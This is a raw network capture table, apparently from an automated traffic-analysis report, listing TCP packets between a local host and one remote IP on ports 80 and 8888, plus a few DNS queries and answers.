Jan 10, 2025 18:05:36.190629005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190629005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190700054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190700054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190911055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190931082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190943956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190954924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190969944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190977097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190984011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.190988064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.190989971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.191004038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.191015959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.191031933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.191042900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.191051960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.191325903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.235934973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.239969969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240032911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240044117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240057945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240077019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240092993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240107059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240149975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.240230083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.240230083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240252018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240264893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240277052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240283966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240295887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240312099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240313053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.240333080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.240334988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.241005898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256145000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256165028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256228924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256242037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256254911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256269932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256283998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256295919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256375074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256386042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256397963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256409883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256423950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256438971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256453037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256670952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256690025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256702900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256714106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256721973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256722927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256727934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256742954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256772995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256786108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256786108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256795883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256809950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256823063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256835938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256848097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256850958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256850958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256865025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256927967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256961107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.256980896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.256980896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.265049934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265103102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265139103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265151978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265166998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.265177965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265208006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265221119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265243053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265259027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265263081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265269041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265302896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265310049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265316010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265347004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.265347004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.265347004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.265362024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265404940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.265510082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281352043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281367064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281387091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281398058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281410933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281423092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281436920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281446934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281481981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281568050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281783104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281795979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281810999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281824112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281836987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281841040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281856060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281857967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281873941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281892061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281935930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.281970024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281981945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.281994104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282008886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282021046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282040119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282066107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282068014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282080889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282093048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282120943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282138109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282222986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282233953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282255888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282269001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282279968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282288074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282315969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282334089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282346964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282360077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282361984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282366037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282440901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282444954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282457113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282469034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282516003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282527924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282548904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282576084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282587051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282599926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282602072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282613039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282643080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282686949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282691956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282706976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282725096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282737970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282752037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282854080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282896996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282917023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282931089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282943010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282953978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282965899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.282974005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.282987118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283026934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.283026934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.283027887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.283056974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283070087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283081055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283107042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.283260107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283272028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283283949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283289909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283303022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283340931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283354044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283365965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.283387899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.283387899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.283418894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.290806055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.295820951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332606077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332618952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332631111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332643032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332657099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332663059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332670927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332673073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332678080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332729101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332732916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332732916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332741976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332755089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332770109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332797050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332797050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332825899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332837105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332851887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332864046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.332909107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.332926989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.348644972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348759890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.348789930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348803043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348817110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348830938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348843098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348860979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348861933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.348876953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348890066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348911047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348923922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348936081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348936081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.348936081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.348936081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.348948956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348963022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348975897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.348988056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349000931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349008083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349008083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349014997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349030972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349055052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349066973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349066973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349083900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349097013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349111080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349113941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349145889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349164009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349275112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349292040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349314928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349327087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349339962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349353075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.349351883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349406004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.349406004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357614994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357636929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357728958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357733965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357741117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357755899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357769012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357783079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357795000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357815027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357836962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357842922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357848883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357856989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357868910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357884884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357919931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357938051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.357984066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.357995987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.358009100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.358017921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.358069897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.358069897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.373740911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373761892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373773098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373819113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.373831034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373845100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373858929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373869896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373882055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.373883963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.373931885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.373931885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.374250889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.374279976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.374290943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:36.374335051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.376188993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.383486032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:36.702411890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:37.809963942 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:37.815208912 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:37.815335989 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:37.815840006 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:37.820621967 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:38.620516062 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:05:38.674652100 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:05:38.680768013 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:05:46.124366045 CET	65374	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:05:46.124366045 CET	192.168.2.8	1.1.1.1	0xac	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:05:44.074023008 CET	1.1.1.1	192.168.2.8	0x8232	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
